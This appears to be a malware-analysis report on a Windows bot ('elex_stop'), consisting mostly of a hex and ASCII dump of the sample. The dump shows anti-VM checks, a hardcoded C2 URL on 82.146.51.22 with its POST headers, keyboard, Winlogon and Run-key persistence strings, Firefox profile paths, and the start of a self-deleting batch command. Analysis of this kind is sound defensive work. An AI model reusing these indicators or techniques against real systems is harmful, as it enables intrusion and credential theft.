2026-09-27_60f34c35120dad68e5ae4a9d09e90e5f_elex_stop
Process injection, C2, credential theft
Direct-IP form channel with self-deleteRemote injection selects a process by enumeration and token identity
SHA-2569ae6b48db0d5fa774449d2c33c0c562a7e4fed92599eb480ad039e59205972a1
Evidence
⋯7 more rows
0x1f000000000000000000000000000000000................
0x200558bec515356578bf883ff036a3f8bf2U..QSVW.....j?..
0x2105b7c676a035b33d2f7f36a3f5b8945fc[|gj.[3...j?[.E.
0x2206bc0fd03f80fb6460233d28a3683c603k......F.3..6...
0x2308a56fec1e2080bd08bc2c1e81223c38a.V...........#..
0x24080b0ca410088018bc2c1e80c23c38a80...A........#...
0x250b0ca41008841018bc2c1e80623c38a80..A..A......#...
0x260b0ca410023d38841028a82b0ca410088..A.#..A.....A..
0x270410383c104ff4dfc75ab85ff7505c601A.....M.u...u...
0x28000eb4b0fb606c1e0104fc6410400c641..K......O.A...A
0x290033d741933d28a76010bc28bd0c1ea06.=t.3..v........
0x2a023d38a92b0ca4100885102eb04c64102#.....A..Q....A.
0x2b03d8bd0c1ea0c23d38a92b0ca4100c1e8=.....#.....A...
0x2c01223c38851018a80b0ca410088015f5e.#..Q.....A..._^
0x2d0b0015bc9c3837c240400568bf07e6d8a..[...|$..V..~m.
0x2e0010fb6c08a80f8ca41004184c07c5d8a........A.A..|].
0x2f0110fbec00fb6d28a92f8ca4100c1e012...........A....
0x3004184d27c470fbed2c1e20c0bc28bd0c1A..|G...........
0x310ea1088168a110fb6d28a92f8ca410046.............A.F
0x3204184d27c270fbed2c1e2060bc28bd0c1A..|'...........
0x330ea0888168a110fb6d28a92f8ca410046.............A.F
0x3404184d27c070ac2880646eb93b0015ec2A..|.....F....^.
0x3500400558bec51833dd0cb42000056c745..U..Q.=..B..V.E
0x360fc04010000bed0cb4200751b8d45fc50........B.u..E.P
0x37056ff15d0a2410085c0750c68f8cb4100V....A...u.h..A.
0x3900074186810040000ff74240868d0bf42.t.h.....t$.h..B
0x3a000ff15d4a14100b001eb0232c0c20400.....A.....2....
0x3b0833dd0bf42000056bed0bf4200750e68.=..B..V...B.u.h
0x3c010040000566a00ff15cca241008bc65e....Vj.....A...^
0x3d0c3558bec81ec280300008d85dcfcffff.U....(.........
0x3e0568945f88d85dcfdffff506804010000V.E.......Ph....
0x3f0ff1548a2410085c07e75807d10007458..H.A...~u.}..tX
0x4008d45e850ff15f8a2410085c0754a8d45.E.P....A...uJ.E
0x410f8508d45e850ff15fca2410085c07538.P.E.P....A...u8
0x4208d85dcfdffff50ff15c8a241006683bc......P....A.f..
0x43045dafdffff5c8b35c4a24100740e680cE....\.5..A.t.h.
0x440cc41008d85dcfdffff50ffd6ff75f88d.A.......P...u..
0x45085dcfdffff50ffd6ff750c8d85dcfdff.....P...u......
0x460ff50ff7508ff15d4a14100b001eb0232.P.u.....A.....2
0x470c05ec9c20c00833dd8cc4200005657be.^.....=..B..VW.
0x1c0a3000000000043006800650063006b005f.....C.h.e.c.k._
0x1c0b3004100730073006f0063006900610074.A.s.s.o.c.i.a.t
0x1c0c30069006f006e0073000000000053006f.i.o.n.s.....S.o
0x1c0d3006600740077006100720065005c004d.f.t.w.a.r.e.\.M
0x1c0e3006900630072006f0073006f00660074.i.c.r.o.s.o.f.t
0x1c0f3005c0049006e007400650072006e0065.\.I.n.t.e.r.n.e
0x1c10300740020004500780070006c006f0072.t. .E.x.p.l.o.r
0x1c11300650072005c004d00610069006e0000.e.r.\.M.a.i.n..
0x1c1230056004d007700610072006500000000.V.M.w.a.r.e....
0x1c1330056004d00570048004f005200450000.V.M.W.H.O.R.E..
0x1c143000000000047006c006f00620061006c.....G.l.o.b.a.l
0x1c153005c0034003800430035003600390032.\.4.8.C.5.6.9.2
0x1c1630037002d0041003000440042002d0034.7.-.A.0.D.B.-.4
0x1c173006500330031002d0038004300330032.e.3.1.-.8.C.3.2
0x1c183002d0046004500310035004600420041.-.F.E.1.5.F.B.A
0x1c19300340035003000340033000000000000.4.5.0.4.3......
0x1c1a3004500720072006f0072000000380032.E.r.r.o.r...8.2
0x1c1b3002e003100340036002e00350031002e...1.4.6...5.1..
0x1c1c300320032000000000000000000680074.2.2.........h.t
0x1c1d300740070003a002f002f00380032002e.t.p.:././.8.2..
0x1c1e3003100340036002e00350031002e0032.1.4.6...5.1...2
0x1c1f30032002f006a006f006f006d006c0061.2./.j.o.o.m.l.a
0x1c203002f006d006f00640075006c00650073./.m.o.d.u.l.e.s
0x1c213002f00780073006e0074002e00700068./.x.s.n.t...p.h
0x1c2230070000000000000000000000043006f.p...........C.o
0x1c233006e00740065006e0074002d00540079.n.t.e.n.t.-.T.y
0x1c24300700065003a0020006100700070006c.p.e.:. .a.p.p.l
0x1c25300690063006100740069006f006e002f.i.c.a.t.i.o.n./
0x1c2630078002d007700770077002d0066006f.x.-.w.w.w.-.f.o
0x1c2730072006d002d00750072006c0065006e.r.m.-.u.r.l.e.n
0x1c2830063006f006400650064000d000a0000.c.o.d.e.d......
0x1c29300550073006500720049006e0066006f.U.s.e.r.I.n.f.o
0x1c2a3000000000053006f0066007400770061.....S.o.f.t.w.a
0x1c2b300720065005c004d006900630072006f.r.e.\.M.i.c.r.o
0x1c2c30073006f00660074005c004b00650079.s.o.f.t.\.K.e.y
0x1c2d30062006f006100720064000000730076.b.o.a.r.d...s.v
0x1c2e300630068006f00730074000000680069.c.h.o.s.t...h.i
0x1c2f3006400640065006e002000770069006e.d.d.e.n. .w.i.n
0x1c3030064006f00770000004c6f61644c6962.d.o.w...LoadLib
0x1c3137261727957000000004b00450052004eraryW....K.E.R.N
0x1c3230045004c00330032002e0044004c004c.E.L.3.2...D.L.L
0x1c3330000000000760064006d002e0064006c.....v.d.m...d.l
0x1c343006c0000005c007400770075006e006b.l...\.t.w.u.n.k
0x1c353005f00310036002e0065007800650000._.1.6...e.x.e..
0x1c363005c00640065006200750067002e0065.\.d.e.b.u.g...e
0x1c37300780065000000000025002300780000.x.e.....%.#.x..
0x1c38300560044004d005f0054004100520047.V.D.M._.T.A.R.G
0x1c39300450054005f00500049004400000000.E.T._.P.I.D....
0x1d5eb007300610063006500720074002e006e.s.a.c.e.r.t...n
0x1d5fb006c0073000000000077006c00720073.l.s.....w.l.r.s
0x1d60b00610063006500720074002e006e006c.a.c.e.r.t...n.l
0x1d61b00730000005200530041004300650072.s...R.S.A.C.e.r
0x1d62b00740050006100740068000000410073.t.P.a.t.h...A.s
0x1d63b0079006e006300680072006f006e006f.y.n.c.h.r.o.n.o
0x1d64b0075007300000000000000000053006f.u.s.........S.o
0x1d65b006600740077006100720065005c004d.f.t.w.a.r.e.\.M
0x1d66b006900630072006f0073006f00660074.i.c.r.o.s.o.f.t
0x1d67b005c00570069006e0064006f00770073.\.W.i.n.d.o.w.s
0x1d68b0020004e0054005c0043007500720072. .N.T.\.C.u.r.r
0x1d69b0065006e007400560065007200730069.e.n.t.V.e.r.s.i
0x1d6ab006f006e005c00570069006e006c006f.o.n.\.W.i.n.l.o
0x1d6bb0067006f006e005c004e006f00740069.g.o.n.\.N.o.t.i
0x1d6cb00660079005c00720073006100630065.f.y.\.r.s.a.c.e
0x1d6db0072007400330031000000000049006d.r.t.3.1.....I.m
0x1d6eb0070006500720073006f006e00610074.p.e.r.s.o.n.a.t
0x1d6fb006500000044004c004c004e0061006d.e...D.L.L.N.a.m
0x1d70b0065000000460069007200650066006f.e...F.i.r.e.f.o
0x1d71b0078005c00500072006f00660069006c.x.\.P.r.o.f.i.l
0x1d72b00650073005c00000065007800740065.e.s.\...e.x.t.e
0x1d73b006e00730069006f006e0073002e0069.n.s.i.o.n.s...i
0x1d74b006e0069000000000065007800740065.n.i.....e.x.t.e
0x1d75b006e00730069006f006e0073002e0072.n.s.i.o.n.s...r
0x1d76b00640066000000000065007800740065.d.f.....e.x.t.e
0x1d77b006e00730069006f006e0073002e0063.n.s.i.o.n.s...c
0x1d78b00610063006800650000000000650078.a.c.h.e.....e.x
0x1d79b00740065006e00730069006f006e0073.t.e.n.s.i.o.n.s
0x1d7ab00000000007b00380039003100390043.....{.8.9.1.9.C
0x1d7bb004500390046002d0032003300460044.E.9.F.-.2.3.F.D
0x1d7cb002d0034003100310061002d00410032.-.4.1.1.a.-.A.2
0x1d7db00440033002d00410039003100440041.D.3.-.A.9.1.D.A
0x1d7eb0043003200300043003400460041007d.C.2.0.C.4.F.A.}
0x1d7fb00000000006300680072006f006d0065.....c.h.r.o.m.e
0x1d80b002e006d0061006e0069006600650073...m.a.n.i.f.e.s
0x1d81b007400000069006e007300740061006c.t...i.n.s.t.a.l
0x1d82b006c002e00720064006600 .l...r.d.f.
0x1dbfb004f0062006a0065006300740073005c.O.b.j.e.c.t.s.\
0x1dc0b00000000004100630072006f00490045.....A.c.r.o.I.E
0x1dc1b00480065006c00700065007200530074.H.e.l.p.e.r.S.t
0x1dc2b0075006200000000004e006f00450078.u.b.....N.o.E.x
0x1dc3b0070006c006f00720065007200000000.p.l.o.r.e.r....
0x1dc4b007200650063006f0076006500720079.r.e.c.o.v.e.r.y
0x1dc5b000000000053006f0066007400770061.....S.o.f.t.w.a
0x1dc6b00720065005c004d006900630072006f.r.e.\.M.i.c.r.o
0x1dc7b0073006f00660074005c00570069006e.s.o.f.t.\.W.i.n
0x1dc8b0064006f00770073005c004300750072.d.o.w.s.\.C.u.r
0x1dc9b00720065006e00740056006500720073.r.e.n.t.V.e.r.s
0x1dcab0069006f006e005c0050006f006c0069.i.o.n.\.P.o.l.i
0x1dcbb0063006900650073005c004500780070.c.i.e.s.\.E.x.p
0x1dccb006c006f007200650072005c00520075.l.o.r.e.r.\.R.u
0x1dcdb006e00000053004f0046005400570041.n...S.O.F.T.W.A
0x1dceb00520045005c004d006900630072006f.R.E.\.M.i.c.r.o
0x1dcfb0073006f00660074005c00570069006e.s.o.f.t.\.W.i.n
0x1dd0b0064006f00770073005c004300750072.d.o.w.s.\.C.u.r
0x1dd1b00720065006e00740056006500720073.r.e.n.t.V.e.r.s
0x1dd2b0069006f006e005c00520075006e0000.i.o.n.\.R.u.n..
0x1dd3b0063736de00100000000000000000000.csm............
0x1dd4b00030000002005931900000000000000..... ..........
0x1dd5b00c0834100e4ec4100d8814100cc0441...A...A...A...A
0x1dd6b0062616420657863657074696f6e0000.bad exception..
0x1dd7b0052534453acebf7147f2b1c4f9475c9.RSDS.....+.O.u.
0x1dd8b8f6059342f0c000000643a5c7372635c.`Y4/....d:\src\
0x1dd9b61626f7264616a655c62696e5c52656cabordaje\bin\Rel
0x1ddab656173655c426f742e70646200000000ease\Bot.pdb....
0x1ddbb00000000000000000080b04200b0ec41...........B...A
0x1ddcb00000000000000000000000000542442.............T$B
0x1dddb00e0eb41000000000000000000010000...A............
0x1ddeb00f0eb4100f8eb410000000000542442...A...A.....T$B
0x1ddfb000000000000000000ffffffff000000................
0x1de0b0040 .@
0x297da244377404e4353210d3260306442168c$Cw@NCS!.2`0dB..
0x297ea821cc885b14e494b6031ac82286c804a.....NIK`1..(l.J
0x297faa886dd70008e432dd4c315a715611331...p..C-.....a.1
0x2980a0926d1e96877c38c312926d5a4990c33.&..hw..1)&....3
0x2981ad8649a2c33cae4985c33d684fcb0dfbc.d.,3...\3......
0x2982ae7b8d99aadd99aadd9feaff60f515009.............QP.
0x2983a3900a0ca4100d0cf4100b0cf4100a4cf9...A...A...A...
0x2984a4100723d0000a0ca4100687474703a2fA.r=....A.http:/
0x2985a2f38322e3134362e35312e32322f6a6f/82.146.51.22/jo
0x2986a6f6d6c612f6d6f64756c65732f78736eomla/modules/xsn
0x2987a742d6469726563742e70687000003832t-direct.php..82
0x2988a2e3134362e35312e3232000000004572.146.51.22....Er
0x2989a726f72000000723d0000504f53542000ror...r=..POST .
0x298aa000020485454502f312e31000000486f.. HTTP/1.1...Ho
0x298ba73743a2000000a000000000000005072st: ..........Pr
0x298ca6f78792d636f6e6e656374696f6e3a20oxy-connection:
0x298da636c6f73650a436f6e6e656374696f6eclose.Connection
0x298ea3a20636c6f73650a557365722d416765: close.User-Age
0x298fa6e743a204d6f7a696c6c612f352e3020nt: Mozilla/5.0
0x2990a285831313b20553b204c696e75782069(X11; U; Linux i
0x2991a3638363b20656e2d47423b2072763a31686; en-GB; rv:1
0x2992a2e392e302e3929204765636b6f2f3230.9.0.9) Gecko/20
0x2993a3039303432313133205562756e74752f09042113 Ubuntu/
0x2994a392e303420286a61756e7479292046699.04 (jaunty) Fi
0x2995a7265666f782f332e302e390a41636365refox/3.0.9.Acce
0x2996a70742d4c616e67756167653a20656e2dpt-Language: en-
0x2997a75732c656e3b713d302e350a41636365us,en;q=0.5.Acce
0x2998a70743a20746578742f786d6c2c617070pt: text/xml,app
0x2999a6c69636174696f6e2f786d6c2c617070lication/xml,app
0x299aa6c69636174696f6e2f7868746d6c2b78lication/xhtml+x
0x299ba6d6c2c746578742f68746d6c3b713d30ml,text/html;q=0
0x299ca2e392c746578742f706c61696e3b713d.9,text/plain;q=
0x299da302e382c696d6167652f706e672c2a2f0.8,image/png,*/
0x299ea2a3b713d302e350a4163636570742d43*;q=0.5.Accept-C
0x299fa6861727365743a2049534f2d38383539harset: ISO-8859
0x29a0a2d31352c7574662d383b713d302e372c-15,utf-8;q=0.7,
0x29a1a2a3b713d302e370a436f6e74656e742d*;q=0.7.Content-
0x29a2a547970653a206170706c69636174696fType: applicatio
0x29a3a6e2f782d7777772d666f726d2d75726cn/x-www-form-url
0x29a4a656e636f6465640a436f6e74656e742dencoded.Content-
0x29a5a4c656e6774683a20313800000000723dLength: 18....r=
0x29a6a0000a0ca4100a0ca4100a0ca4100a0ca....A...A...A...
0x29a7a4100a0ca4100a0ca4100a0ca4100a0caA...A...A...A...
0x29a8a4100a0ca4100a0ca4100a0ca4100a0caA...A...A...A...
0x29a9a4100a0ca41006563686f2064656c2025A...A.echo del %
0x29aaa30203e20222554454d50255c6d7369630 > "%TEMP%\msic
0x29aba6865636b2e636d64220a6563686f2063heck.cmd".echo c
0x29aca6f7079202f7920222553595354454d52opy /y "%SYSTEMR